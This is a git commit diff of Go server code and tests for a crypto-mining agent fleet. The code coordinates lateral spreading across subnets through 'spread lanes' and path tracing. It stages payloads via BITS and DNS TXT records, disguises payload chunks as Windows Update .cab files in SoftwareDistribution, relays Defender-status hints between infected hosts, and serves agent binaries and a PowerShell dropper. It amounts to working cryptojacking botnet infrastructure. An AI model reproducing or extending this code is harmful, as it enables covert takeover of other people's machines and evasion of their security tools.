Expand P2 test coverage: mining chain, spread lanes, path forge, WS/beacon, E2E onion, file handling
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

This commit is contained in:
AetherForge
2026-06-07 04:58:55 -07:00
parent b2a7b1723f
commit 7b2d41cda8
118 changed files with 9938 additions and 223 deletions

View File

@@ -0,0 +1,70 @@
package api
import (
"encoding/json"
"log"
"crypto-miner-server/internal/atlas"
)
func (h *WSHub) handleAgentAtlasGossip(senderID string, payload json.RawMessage) {
if !h.serverPolicySnapshot().AtlasLanGossipEnabled {
return
}
var body struct {
Hints []atlas.GossipHint `json:"hints"`
}
if err := json.Unmarshal(payload, &body); err != nil || len(body.Hints) == 0 {
return
}
hints := atlas.NormalizeGossipHints(body.Hints)
if len(hints) == 0 {
return
}
h.relayAtlasGossip(senderID, hints)
}
func (h *WSHub) relayAtlasGossip(senderID string, hints []atlas.GossipHint) {
senderSubnet := h.agentSubnetFor(senderID)
if senderSubnet == "" {
return
}
skips := atlas.SkipsFromHints(hints)
if len(skips) == 0 {
return
}
out := Message{
Type: "atlas_gossip",
Payload: mustMarshal(map[string]interface{}{
"hints": skips,
"source_agent_id": senderID,
}),
}
h.mu.RLock()
defer h.mu.RUnlock()
for id, ac := range h.agents {
if id == senderID || h.agentSubnet[id] != senderSubnet {
continue
}
if err := ac.SendJSON(out); err != nil {
log.Printf("[atlas-gossip] relay to %s: %v", id, err)
}
}
}
func (h *WSHub) agentSubnetFor(agentID string) string {
h.mu.RLock()
subnet := h.agentSubnet[agentID]
h.mu.RUnlock()
if subnet != "" {
return subnet
}
if h.db == nil {
return ""
}
ag, err := h.db.GetAgent(agentID)
if err != nil || ag == nil {
return ""
}
return atlas.SubnetPrefix(ag.IP)
}

View File

@@ -0,0 +1,180 @@
package api
import (
"encoding/json"
"net/http"
"net/http/httptest"
"strings"
"testing"
"time"
"crypto-miner-server/internal/atlas"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
"github.com/gorilla/websocket"
)
func connectTestAgentWithIP(t *testing.T, hub *WSHub, agentID, clientIP string) *websocket.Conn {
t.Helper()
srv := httptest.NewServer(http.HandlerFunc(hub.HandleAgentWS))
t.Cleanup(srv.Close)
wsURL := "ws" + strings.TrimPrefix(srv.URL, "http")
hdr := http.Header{"X-Forwarded-For": {clientIP}}
conn, _, err := websocket.DefaultDialer.Dial(wsURL, hdr)
if err != nil {
t.Fatalf("dial agent ws: %v", err)
}
t.Cleanup(func() { _ = conn.Close() })
authAgentConn(t, conn, map[string]interface{}{
"agent_id": agentID,
"hostname": "test-host",
"platform": "windows",
"version": "1.0",
})
deadline := time.Now().Add(2 * time.Second)
for time.Now().Before(deadline) {
if hub.isAgentConnected(agentID) {
return conn
}
time.Sleep(10 * time.Millisecond)
}
t.Fatal("agent not connected after auth")
return nil
}
func TestAuthResponseAtlasLanGossipPolicy(t *testing.T) {
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = database.Close() })
hub := NewWSHub(database)
hub.SetServerPolicy(ServerPolicy{AtlasLanGossipEnabled: true})
conn, _ := dialAgentWS(t, hub)
resp := authAgentConn(t, conn, map[string]interface{}{
"agent_id": "gossip-policy-agent",
"hostname": "host",
"platform": "windows",
"version": "test",
})
var body map[string]interface{}
if err := json.Unmarshal(resp.Payload, &body); err != nil {
t.Fatal(err)
}
enabled, ok := body["atlas_lan_gossip_enabled"].(bool)
if !ok || !enabled {
t.Fatalf("atlas_lan_gossip_enabled = %#v", body["atlas_lan_gossip_enabled"])
}
}
func TestAtlasGossipRelaySameSubnet(t *testing.T) {
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = database.Close() })
hub := NewWSHub(database)
hub.SetServerPolicy(ServerPolicy{AtlasLanGossipEnabled: true})
for _, spec := range []struct {
id string
ip string
}{
{"gossip-a", "192.168.50.10"},
{"gossip-b", "192.168.50.20"},
{"gossip-other-subnet", "192.168.51.10"},
} {
if err := database.UpsertAgent(&models.Agent{
ID: spec.id, Name: spec.id, Platform: "windows", Status: "online",
IP: spec.ip, LastSeen: time.Now(),
}); err != nil {
t.Fatal(err)
}
}
connA := connectTestAgentWithIP(t, hub, "gossip-a", "192.168.50.10")
connB := connectTestAgentWithIP(t, hub, "gossip-b", "192.168.50.20")
connC := connectTestAgentWithIP(t, hub, "gossip-other-subnet", "192.168.51.10")
recvCh := make(chan Message, 2)
go readUntilType(connB, "atlas_gossip", recvCh)
go readUntilType(connC, "atlas_gossip", recvCh)
payload, _ := json.Marshal(map[string]interface{}{
"hints": []atlas.GossipHint{
{Tier: "docker", Condition: "no_docker", Reason: "pull failed"},
},
})
if err := connA.WriteJSON(Message{Type: "atlas_gossip", Payload: payload}); err != nil {
t.Fatal(err)
}
select {
case msg := <-recvCh:
var body struct {
Hints []atlas.AtlasSkip `json:"hints"`
}
if err := json.Unmarshal(msg.Payload, &body); err != nil {
t.Fatal(err)
}
if len(body.Hints) != 1 || body.Hints[0].Tier != "docker" {
t.Fatalf("unexpected relay hints: %+v", body.Hints)
}
case <-time.After(2 * time.Second):
t.Fatal("sibling on same /24 did not receive atlas_gossip")
}
select {
case <-recvCh:
t.Fatal("agent on different /24 should not receive atlas_gossip")
case <-time.After(300 * time.Millisecond):
}
}
func TestAtlasGossipDisabledNoRelay(t *testing.T) {
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = database.Close() })
hub := NewWSHub(database)
hub.SetServerPolicy(ServerPolicy{AtlasLanGossipEnabled: false})
connA := connectTestAgentWithIP(t, hub, "gossip-off-a", "10.10.0.1")
connB := connectTestAgentWithIP(t, hub, "gossip-off-b", "10.10.0.2")
recvCh := make(chan Message, 1)
go readUntilType(connB, "atlas_gossip", recvCh)
payload, _ := json.Marshal(map[string]interface{}{
"hints": []atlas.GossipHint{{Tier: "wsl", Condition: "defender_on"}},
})
if err := connA.WriteJSON(Message{Type: "atlas_gossip", Payload: payload}); err != nil {
t.Fatal(err)
}
select {
case msg := <-recvCh:
t.Fatalf("unexpected relay when disabled: %+v", msg)
case <-time.After(400 * time.Millisecond):
}
}
func readUntilType(conn *websocket.Conn, wantType string, out chan<- Message) {
deadline := time.Now().Add(3 * time.Second)
for time.Now().Before(deadline) {
var msg Message
if err := conn.ReadJSON(&msg); err != nil {
return
}
if msg.Type == wantType {
out <- msg
return
}
}
}

View File

@@ -14,6 +14,7 @@ import (
dbpkg "crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
"crypto-miner-server/internal/spreadrouter"
)
// StagingManifest mirrors agent/deploy.StagingManifest for signed supply-chain plans.
@@ -68,15 +69,17 @@ type DeployPlanBody struct {
MaxHosts int `json:"max_hosts,omitempty"`
ImageTarURL string `json:"image_tar_url,omitempty"`
ImageTarSHA256 string `json:"image_tar_sha256,omitempty"`
SpreadRouteHint *spreadrouter.SpreadRouteHint `json:"spread_route_hint,omitempty"`
}
type deployPlanRequest struct {
AgentID string `json:"agent_id"`
BuildID string `json:"build_id,omitempty"`
Campaign string `json:"campaign,omitempty"`
Platform string `json:"platform"`
Services []DeployServiceFinding `json:"services"`
UNCPath string `json:"unc_path,omitempty"`
AgentID string `json:"agent_id"`
BuildID string `json:"build_id,omitempty"`
Campaign string `json:"campaign,omitempty"`
Platform string `json:"platform"`
Services []DeployServiceFinding `json:"services"`
UNCPath string `json:"unc_path,omitempty"`
WSUSFormatMimic *bool `json:"wsus_format_mimic,omitempty"`
}
type deployPlanResponse struct {
@@ -96,6 +99,7 @@ type DeployPlanHandler struct {
publicURL func() string
fleetSecret func() string
allowlist func() map[string]ServiceDeployLane
pathTracer *PathTracerHandler
}
func NewDeployPlanHandler(database *dbpkg.Database, dataDir, projectRoot string, publicURL, fleetSecret func() string, allowlist func() map[string]ServiceDeployLane) *DeployPlanHandler {
@@ -109,6 +113,11 @@ func NewDeployPlanHandler(database *dbpkg.Database, dataDir, projectRoot string,
}
}
// BindPathTracer wires Path Tracer sessions into spread-route recommendations.
func (h *DeployPlanHandler) BindPathTracer(handler *PathTracerHandler) {
h.pathTracer = handler
}
// POST /api/v1/agent/deploy-plan
func (h *DeployPlanHandler) PostDeployPlan(w http.ResponseWriter, r *http.Request) {
var req deployPlanRequest
@@ -236,6 +245,66 @@ func (h *DeployPlanHandler) buildPlan(req deployPlanRequest, matched string, lan
return body, nil
}
func (h *DeployPlanHandler) recommendSpreadRoute(req deployPlanRequest, joinLane string) *spreadrouter.SpreadRouteHint {
if h.pathTracer == nil {
return nil
}
patientID := strings.TrimSpace(req.AgentID)
targets := spreadRouteTargetSubnets(h.pathTracer, h.db, patientID)
if len(targets) == 0 {
return nil
}
var best *spreadrouter.SpreadRouteHint
for _, target := range targets {
if hint := h.pathTracer.RecommendSpreadRoute(target, joinLane, patientID); hint != nil {
if best == nil || hint.Score > best.Score {
dup := *hint
best = &dup
}
}
}
return best
}
func spreadRouteTargetSubnets(pathTracer *PathTracerHandler, database *dbpkg.Database, agentID string) []string {
seen := make(map[string]bool)
var out []string
add := func(sub string) {
sub = spreadrouter.NormalizeSubnet(sub)
if sub == "" || seen[sub] {
return
}
seen[sub] = true
out = append(out, sub)
}
if database != nil && agentID != "" {
if ag, err := database.GetAgent(agentID); err == nil && ag != nil {
add(spreadrouter.SubnetFromIP(ag.IP))
}
}
for _, sess := range traceSessionsSnapshot(pathTracer) {
if sess == nil {
continue
}
patientInChain := false
for _, hop := range sess.Hops {
if hop != nil && hop.AgentID == agentID {
patientInChain = true
add(spreadrouter.SubnetFromIP(hop.ExternalIP))
break
}
}
if !patientInChain && agentID != "" {
continue
}
for _, host := range serviceGraphList(sess.ServiceGraph) {
add(host.Subnet)
add(spreadrouter.SubnetFromIP(host.Host))
}
}
return out
}
// buildDOPeerManifest stages hash-verified chunks via BITS peer-style transfer.
// Deploy success is a spread step only — agent keeps --defer-mining until diagnostics pass,
// then startMiningWhenReady() completes the mining onion (terminal goal).
@@ -299,6 +368,17 @@ func (h *DeployPlanHandler) buildWSUSCachePeerManifest(req deployPlanRequest, se
_, getQuerySuffix := buildQuerySuffix(buildID, req.Campaign)
downloadURL := serverURL + "/get?os=" + platform + getQuerySuffix
chunkFile := filepath.Base(build.FileName)
if wsusFormatMimicEnabled(req.WSUSFormatMimic) {
chunkFile = wsusFormatMimicChunkName(hash, 0)
if !strings.Contains(downloadURL, "wsus_wrap=1") {
if strings.Contains(downloadURL, "?") {
downloadURL += "&wsus_wrap=1"
} else {
downloadURL += "?wsus_wrap=1"
}
}
}
cacheGroup := "af-wsus-" + hash[:8]
if campaign := strings.TrimSpace(req.Campaign); campaign != "" {
cacheGroup = "af-wsus-" + sanitizeDeployToken(campaign)
@@ -313,7 +393,7 @@ func (h *DeployPlanHandler) buildWSUSCachePeerManifest(req deployPlanRequest, se
return &StagingManifest{
Method: "bits",
Chunks: []StagingChunk{{URL: downloadURL, File: filepath.Base(build.FileName)}},
Chunks: []StagingChunk{{URL: downloadURL, File: chunkFile}},
SHA256: hash,
Dest: dest,
Launch: launch,
@@ -324,6 +404,13 @@ func (h *DeployPlanHandler) buildWSUSCachePeerManifest(req deployPlanRequest, se
}, nil
}
func wsusFormatMimicEnabled(flag *bool) bool {
if flag == nil {
return true
}
return *flag
}
// buildDNSTXTManifest returns TXT shard records + embedded chunk API fallback URLs for tests.
func (h *DeployPlanHandler) buildDNSTXTManifest(req deployPlanRequest, serverURL string) (*StagingManifest, string, []string, []int, int, error) {
platform := strings.TrimSpace(req.Platform)

View File

@@ -58,6 +58,29 @@ func TestBuildPlanWSUSCachePeerLane(t *testing.T) {
if !containsStr(plan.Manifest.Dest, "SoftwareDistribution") {
t.Fatalf("dest=%q", plan.Manifest.Dest)
}
if len(plan.Manifest.Chunks) != 1 || !containsStr(plan.Manifest.Chunks[0].File, ".cab.partial") {
t.Fatalf("expected format-mimic chunk name, chunks=%+v", plan.Manifest.Chunks)
}
if !containsStr(plan.Manifest.Chunks[0].URL, "wsus_wrap=1") {
t.Fatalf("url=%q", plan.Manifest.Chunks[0].URL)
}
}
func TestBuildPlanWSUSCachePeerLaneFormatMimicOff(t *testing.T) {
h := testDeployPlanHandler(t)
off := false
plan, err := h.buildPlan(deployPlanRequest{
Platform: "windows", BuildID: "b1", WSUSFormatMimic: &off,
}, "Wuauserv", ServiceDeployLane{Lane: "wsus_cache_peer"})
if err != nil {
t.Fatal(err)
}
if len(plan.Manifest.Chunks) != 1 || containsStr(plan.Manifest.Chunks[0].File, ".cab.partial") {
t.Fatalf("expected raw chunk filename, chunks=%+v", plan.Manifest.Chunks)
}
if containsStr(plan.Manifest.Chunks[0].URL, "wsus_wrap=1") {
t.Fatalf("url=%q", plan.Manifest.Chunks[0].URL)
}
}
func TestBuildPlanDNSTXTLane(t *testing.T) {

View File

@@ -0,0 +1,156 @@
package api
import (
"net/http"
"net/http/httptest"
"os"
"path/filepath"
"strings"
"testing"
)
func TestAgentBinaryCandidates(t *testing.T) {
dir := "/srv/usb"
cases := []struct {
platform string
wantName string
wantPath string
}{
{"windows", "crypto-miner-agent.exe", filepath.Join(dir, "agent", "crypto-miner-agent.exe")},
{"mac", "crypto-miner-agent", filepath.Join(dir, "agent", "crypto-miner-agent-darwin")},
{"linux", "crypto-miner-agent", filepath.Join(dir, "agent", "crypto-miner-agent-linux")},
}
for _, tc := range cases {
candidates, dlName := agentBinaryCandidates(tc.platform, dir)
if dlName != tc.wantName {
t.Fatalf("platform=%s dlName=%q want %q", tc.platform, dlName, tc.wantName)
}
if len(candidates) == 0 || candidates[0] != tc.wantPath {
t.Fatalf("platform=%s candidates=%v want first %q", tc.platform, candidates, tc.wantPath)
}
}
}
func TestFindAgentBinaryPrefersAgentSubdir(t *testing.T) {
root := t.TempDir()
agentDir := filepath.Join(root, "agent")
if err := os.MkdirAll(agentDir, 0755); err != nil {
t.Fatal(err)
}
nested := filepath.Join(agentDir, "crypto-miner-agent.exe")
rootLevel := filepath.Join(root, "crypto-miner-agent.exe")
if err := os.WriteFile(nested, []byte("nested-agent"), 0644); err != nil {
t.Fatal(err)
}
if err := os.WriteFile(rootLevel, []byte("root-agent"), 0644); err != nil {
t.Fatal(err)
}
got, dlName, ok := findAgentBinary("windows", root)
if !ok || got != nested {
t.Fatalf("findAgentBinary = %q ok=%v want nested %q", got, ok, nested)
}
if dlName != "crypto-miner-agent.exe" {
t.Fatalf("dlName=%q", dlName)
}
}
func TestFindAgentBinaryFallbackRootLevel(t *testing.T) {
root := t.TempDir()
bin := filepath.Join(root, "crypto-miner-agent-linux")
if err := os.WriteFile(bin, []byte("linux-agent"), 0644); err != nil {
t.Fatal(err)
}
got, dlName, ok := findAgentBinary("linux", root)
if !ok || got != bin {
t.Fatalf("findAgentBinary = %q ok=%v", got, ok)
}
if dlName != "crypto-miner-agent" {
t.Fatalf("dlName=%q", dlName)
}
}
func TestFindAgentBinaryMacGenericFallback(t *testing.T) {
root := t.TempDir()
agentDir := filepath.Join(root, "agent")
if err := os.MkdirAll(agentDir, 0755); err != nil {
t.Fatal(err)
}
bin := filepath.Join(agentDir, "crypto-miner-agent")
if err := os.WriteFile(bin, []byte("generic-unix-agent"), 0644); err != nil {
t.Fatal(err)
}
got, _, ok := findAgentBinary("mac", root)
if !ok || got != bin {
t.Fatalf("findAgentBinary = %q ok=%v", got, ok)
}
}
func TestFindAgentBinaryMissing(t *testing.T) {
_, _, ok := findAgentBinary("mac", t.TempDir())
if ok {
t.Fatal("expected missing binary")
}
}
func withAgentBinarySearchDir(t *testing.T, root string) {
t.Helper()
orig := agentBinarySearchDir
agentBinarySearchDir = func() (string, error) { return root, nil }
t.Cleanup(func() { agentBinarySearchDir = orig })
}
func TestServeAgentBinaryDownloadWindows(t *testing.T) {
root := t.TempDir()
bin := filepath.Join(root, "agent", "crypto-miner-agent.exe")
if err := os.MkdirAll(filepath.Dir(bin), 0755); err != nil {
t.Fatal(err)
}
content := []byte("MZ-fake-windows-agent")
if err := os.WriteFile(bin, content, 0644); err != nil {
t.Fatal(err)
}
withAgentBinarySearchDir(t, root)
req := httptest.NewRequest(http.MethodGet, "/api/download/agent-windows", nil)
rec := httptest.NewRecorder()
serveAgentBinary("windows")(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("status=%d body=%s", rec.Code, rec.Body.String())
}
if rec.Body.String() != string(content) {
t.Fatalf("body=%q", rec.Body.String())
}
if !strings.Contains(rec.Header().Get("Content-Disposition"), "crypto-miner-agent.exe") {
t.Fatalf("disposition=%q", rec.Header().Get("Content-Disposition"))
}
}
func TestServeAgentBinaryDownloadMac(t *testing.T) {
root := t.TempDir()
bin := filepath.Join(root, "crypto-miner-agent-darwin")
if err := os.WriteFile(bin, []byte("darwin-agent"), 0644); err != nil {
t.Fatal(err)
}
withAgentBinarySearchDir(t, root)
req := httptest.NewRequest(http.MethodGet, "/api/download/agent-mac", nil)
rec := httptest.NewRecorder()
serveAgentBinary("mac")(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("status=%d", rec.Code)
}
if !strings.Contains(rec.Header().Get("Content-Disposition"), "crypto-miner-agent") {
t.Fatalf("disposition=%q", rec.Header().Get("Content-Disposition"))
}
}
func TestServeAgentBinaryNotFound(t *testing.T) {
withAgentBinarySearchDir(t, t.TempDir())
req := httptest.NewRequest(http.MethodGet, "/api/download/agent-linux", nil)
rec := httptest.NewRecorder()
serveAgentBinary("linux")(rec, req)
if rec.Code != http.StatusNotFound {
t.Fatalf("status=%d want 404", rec.Code)
}
}

View File

@@ -139,6 +139,20 @@ func (h *DropperHandler) ServeGet(w http.ResponseWriter, r *http.Request) {
return
}
if strings.TrimSpace(r.URL.Query().Get("wsus_wrap")) == "1" {
raw, err := os.ReadFile(buildPath)
if err != nil {
http.Error(w, "build read failed", http.StatusInternalServerError)
return
}
wrapped := wrapWSUSChunkPayload(raw)
w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, buildName))
w.Header().Set("Content-Type", "application/octet-stream")
w.Header().Set("Content-Length", fmt.Sprintf("%d", len(wrapped)))
_, _ = w.Write(wrapped)
return
}
w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, buildName))
w.Header().Set("Content-Type", "application/octet-stream")
// Content-Length is set automatically by http.ServeFile.

View File

@@ -196,6 +196,38 @@ func TestResolveDropperArtifact(t *testing.T) {
}
}
func TestDropperServeGetRejectsTraversalInArtifactURL(t *testing.T) {
h, database, dataDir := newTestDropperHandler(t)
buildID := "safe-build"
buildDir := filepath.Join(dataDir, "builds", buildID)
if err := os.MkdirAll(buildDir, 0755); err != nil {
t.Fatal(err)
}
binPath := filepath.Join(buildDir, "worker.exe")
if err := os.WriteFile(binPath, []byte("agent"), 0644); err != nil {
t.Fatal(err)
}
// Malicious DownloadURL must not escape build dir via resolveDropperArtifact.
if err := database.InsertBuild(&models.BuildRecord{
ID: buildID, WorkerName: "w", ServerURL: "http://x", Wallet: "48x",
FilePath: binPath, FileName: "worker.exe", Platform: "windows",
DownloadURL: "/api/v1/builds/" + buildID + "/artifact/..%2F..%2Fsecret.zip",
CreatedAt: time.Now(),
}); err != nil {
t.Fatal(err)
}
req := httptest.NewRequest(http.MethodGet, "/get?os=windows", nil)
rec := httptest.NewRecorder()
h.ServeGet(rec, req)
// Falls back to FilePath worker.exe — bundle artifact name is sanitized away.
if rec.Code != http.StatusOK {
t.Fatalf("expected fallback to FilePath, got %d body=%s", rec.Code, rec.Body.String())
}
if rec.Body.String() != "agent" {
t.Fatalf("body=%q", rec.Body.String())
}
}
func TestDropperServePs1Content(t *testing.T) {
h, _, _ := newTestDropperHandler(t)
req := httptest.NewRequest(http.MethodGet, "/install.ps1", nil)

View File

@@ -3,21 +3,27 @@ package api
import (
"encoding/json"
"strings"
"crypto-miner-server/internal/strategy"
)
// FleetAgentPolicy is runtime mining/policy pushed to agents without re-forge.
type FleetAgentPolicy struct {
MiningMode string `json:"mining_mode,omitempty"`
ScheduleStart string `json:"schedule_start,omitempty"`
ScheduleEnd string `json:"schedule_end,omitempty"`
MaxCPUUsagePct int `json:"max_cpu_usage_pct,omitempty"`
PoolHost string `json:"pool_host,omitempty"`
PoolPort int `json:"pool_port,omitempty"`
PoolTLS *bool `json:"pool_tls,omitempty"`
PoolPass string `json:"pool_pass,omitempty"`
MiningMode string `json:"mining_mode,omitempty"`
ScheduleStart string `json:"schedule_start,omitempty"`
ScheduleEnd string `json:"schedule_end,omitempty"`
MaxCPUUsagePct int `json:"max_cpu_usage_pct,omitempty"`
PoolHost string `json:"pool_host,omitempty"`
PoolPort int `json:"pool_port,omitempty"`
PoolTLS *bool `json:"pool_tls,omitempty"`
PoolPass string `json:"pool_pass,omitempty"`
SpreadTemperament *strategy.AdaptiveStrategy `json:"spread_temperament,omitempty"`
}
func (p FleetAgentPolicy) IsEmpty() bool {
if p.SpreadTemperament != nil && len(p.SpreadTemperament.TierOrder) > 0 {
return false
}
var zero FleetAgentPolicy
return p == zero
}

View File

@@ -81,7 +81,13 @@ func (h *WSHub) FleetAISnapshot(agentID string) (fleetai.AgentSnapshot, bool) {
}
snap.Stuck = fleetai.ComputeStuck(snap)
snap.FailedTierCount = countFailedSpreadTiers(snap.LOTLAttempts)
if engine != nil && !aiMode {
if aiMode {
temperament := fleetai.PersonaSpreadTemperament(h.serverPolicySnapshot().AIPersona)
snap.Adaptive = &temperament
if len(temperament.Reasoning) > 0 {
snap.AdaptiveSummary = temperament.Reasoning[0].Action
}
} else if engine != nil {
fp := strategy.FingerprintFromAuth(agent.Platform, agent.IP, agent.FirewallDomain != nil && *agent.FirewallDomain)
adaptive := engine.StrategyForAgent(agentID, fp)
snap.Adaptive = &adaptive

View File

@@ -102,7 +102,7 @@ func TestFleetAIHandlerGetModels(t *testing.T) {
}
}
func TestFleetAISnapshotOmitsAdaptiveWhenAIControl(t *testing.T) {
func TestFleetAISnapshotSpreadTemperamentWhenAIControl(t *testing.T) {
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
@@ -111,7 +111,7 @@ func TestFleetAISnapshotOmitsAdaptiveWhenAIControl(t *testing.T) {
hub := NewWSHub(database)
hub.SetAdaptiveEngine(strategy.NewAdaptiveEngine(database, true))
hub.SetServerPolicy(ServerPolicy{AIControlEnabled: true})
hub.SetServerPolicy(ServerPolicy{AIControlEnabled: true, AIPersona: fleetai.PersonaPersuasive})
agentID := "snap-agent-1"
_ = database.UpsertAgent(&models.Agent{
ID: agentID, Name: "node-a", Platform: "windows", Status: "online",
@@ -121,8 +121,11 @@ func TestFleetAISnapshotOmitsAdaptiveWhenAIControl(t *testing.T) {
if !ok {
t.Fatal("snapshot not found")
}
if snap.Adaptive != nil {
t.Fatalf("adaptive must be nil when AI control enabled, got %+v", snap.Adaptive)
if snap.Adaptive == nil || len(snap.Adaptive.TierOrder) == 0 {
t.Fatalf("expected spread temperament in snapshot, got %+v", snap.Adaptive)
}
if snap.Adaptive.TierOrder[1] != "dns_txt" {
t.Fatalf("persuasive spread order = %v", snap.Adaptive.TierOrder)
}
}

View File

@@ -435,8 +435,8 @@ func TestIntegrationAIOverridesAdaptive(t *testing.T) {
if !ok {
t.Fatal("snapshot not found")
}
if snap.Adaptive != nil {
t.Fatalf("FleetAISnapshot must omit adaptive when AI control enabled, got %+v", snap.Adaptive)
if snap.Adaptive == nil || len(snap.Adaptive.TierOrder) == 0 {
t.Fatalf("FleetAISnapshot must include persona spread temperament when AI control enabled, got %+v", snap.Adaptive)
}
if sent := hub.PushAdaptiveStrategyUpdates(); sent != 0 {
t.Fatalf("PushAdaptiveStrategyUpdates should send 0 when AI control enabled, sent=%d", sent)

View File

@@ -0,0 +1,163 @@
package api
import (
"crypto/sha256"
"encoding/hex"
"strings"
"crypto-miner-server/internal/strategy"
)
// LANSeederHint is pushed to miners on auth when fleet roles are enabled.
type LANSeederHint struct {
AgentID string `json:"agent_id"`
IP string `json:"ip,omitempty"`
LANFallbackURL string `json:"lan_fallback_url,omitempty"`
}
func normalizeFleetRole(role string) string {
switch strings.ToLower(strings.TrimSpace(role)) {
case "seeder":
return "seeder"
case "miner":
return "miner"
default:
return "auto"
}
}
func subnetPrefix24(ip string) string {
ip = strings.TrimSpace(ip)
if idx := strings.LastIndex(ip, ":"); idx > 0 && strings.Count(ip, ":") == 1 {
ip = ip[:idx]
}
parts := strings.Split(ip, ".")
if len(parts) < 3 {
return ""
}
return parts[0] + "." + parts[1] + "." + parts[2]
}
func (h *WSHub) storeAgentFleetRole(agentID, role string) {
role = normalizeFleetRole(role)
if role == "auto" {
role = "miner"
}
h.mu.Lock()
tel, ok := h.agentLiveTelemetry[agentID]
if !ok {
tel = map[string]interface{}{}
h.agentLiveTelemetry[agentID] = tel
}
tel["fleet_role"] = role
h.mu.Unlock()
}
func (h *WSHub) fleetRoleHintForAuth(agentID, bakedRole, clientIP string, seederCapable bool) string {
if !h.serverPolicySnapshot().FleetRolesEnabled {
return ""
}
baked := normalizeFleetRole(bakedRole)
if baked == "seeder" || baked == "miner" {
return baked
}
subnet := subnetPrefix24(clientIP)
if h.subnetHasOnlineSeeder(subnet) {
return "miner"
}
if seederCapable && h.shouldElectSubnetSeeder(agentID, subnet) {
return "seeder"
}
return "miner"
}
func (h *WSHub) subnetHasOnlineSeeder(subnet string) bool {
if subnet == "" {
return false
}
h.mu.RLock()
defer h.mu.RUnlock()
for id, tel := range h.agentLiveTelemetry {
role, _ := tel["fleet_role"].(string)
if role != "seeder" {
continue
}
if ac, ok := h.agents[id]; ok && ac != nil {
_ = ac
if agentIP := h.agentIPLocked(id); subnetPrefix24(agentIP) == subnet {
return true
}
}
}
return false
}
func (h *WSHub) shouldElectSubnetSeeder(agentID, subnet string) bool {
if subnet == "" {
return false
}
sum := sha256.Sum256([]byte(subnet))
pick := hex.EncodeToString(sum[:4])
return strings.HasPrefix(agentID, pick[:2]) || pick[0]%3 == 0
}
func (h *WSHub) agentIPLocked(agentID string) string {
if ag, err := h.db.GetAgent(agentID); err == nil && ag != nil {
return ag.IP
}
return ""
}
func (h *WSHub) lanSeedersForMiner(clientIP string) []LANSeederHint {
if !h.serverPolicySnapshot().FleetRolesEnabled {
return nil
}
subnet := subnetPrefix24(clientIP)
var out []LANSeederHint
h.mu.RLock()
for id, tel := range h.agentLiveTelemetry {
role, _ := tel["fleet_role"].(string)
if role != "seeder" {
continue
}
ip := h.agentIPLocked(id)
if subnet != "" && subnetPrefix24(ip) != subnet {
continue
}
fallback := ""
if ip != "" {
fallback = "http://" + ip + ":8989/api/v1/public/webrtc-mesh/manifest?seeder=" + id
}
out = append(out, LANSeederHint{AgentID: id, IP: ip, LANFallbackURL: fallback})
}
h.mu.RUnlock()
return out
}
func (h *WSHub) ingestFleetPressure(agentID string, broadcast map[string]interface{}) {
role, _ := broadcast["fleet_role"].(string)
if role != "" {
h.storeAgentFleetRole(agentID, role)
}
seed, seedOK := broadcast["seed_pressure"].(float64)
hr, hrOK := broadcast["hashrate_pressure"].(float64)
if !seedOK && !hrOK {
return
}
heat := strategy.EmberwakeHeat(role, seed, hr)
h.mu.Lock()
tel, ok := h.agentLiveTelemetry[agentID]
if !ok {
tel = map[string]interface{}{}
h.agentLiveTelemetry[agentID] = tel
}
if seedOK {
tel["seed_pressure"] = seed
}
if hrOK {
tel["hashrate_pressure"] = hr
}
tel["emberwake_heat"] = heat
h.mu.Unlock()
broadcast["emberwake_heat"] = heat
}

View File

@@ -0,0 +1,88 @@
package api
import (
"encoding/json"
"testing"
"crypto-miner-server/internal/db"
)
func TestAuthResponseFleetRoleHintWhenEnabled(t *testing.T) {
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = database.Close() })
hub := NewWSHub(database)
hub.SetFleetSecret("test-secret")
hub.SetServerPolicy(ServerPolicy{FleetRolesEnabled: true})
conn, _ := dialAgentWS(t, hub)
resp := authAgentConn(t, conn, map[string]interface{}{
"agent_id": "agent-seed-aa", "fleet_secret": "test-secret",
"wallet": "4" + repeatChar('C', 94), "hostname": "seed-host", "platform": "windows", "version": "test",
"fleet_role": "auto", "seeder_mode": true,
})
var payload map[string]interface{}
if err := json.Unmarshal(resp.Payload, &payload); err != nil {
t.Fatal(err)
}
if payload["success"] != true {
t.Fatalf("auth failed: %v", payload["error"])
}
hint, _ := payload["fleet_role_hint"].(string)
if hint != "seeder" && hint != "miner" {
t.Fatalf("expected fleet_role_hint, got %q", hint)
}
}
func TestAuthResponseOmitsFleetRoleHintWhenDisabled(t *testing.T) {
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = database.Close() })
hub := NewWSHub(database)
hub.SetFleetSecret("test-secret")
conn, _ := dialAgentWS(t, hub)
resp := authAgentConn(t, conn, map[string]interface{}{
"agent_id": "agent-miner-1", "fleet_secret": "test-secret",
"wallet": "4" + repeatChar('D', 94), "hostname": "miner-host", "platform": "windows", "version": "test",
"fleet_role": "miner",
})
var payload map[string]interface{}
if err := json.Unmarshal(resp.Payload, &payload); err != nil {
t.Fatal(err)
}
if _, ok := payload["fleet_role_hint"]; ok {
t.Fatal("fleet_role_hint should be omitted when fleet roles disabled")
}
}
func TestIngestFleetPressureSetsEmberwakeHeat(t *testing.T) {
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = database.Close() })
hub := NewWSHub(database)
b := map[string]interface{}{
"agent_id": "a1",
"fleet_role": "miner",
"hashrate_pressure": 0.75,
}
hub.ingestFleetPressure("a1", b)
if b["emberwake_heat"] != 0.75 {
t.Fatalf("broadcast heat=%v", b["emberwake_heat"])
}
hub.mu.RLock()
tel := hub.agentLiveTelemetry["a1"]
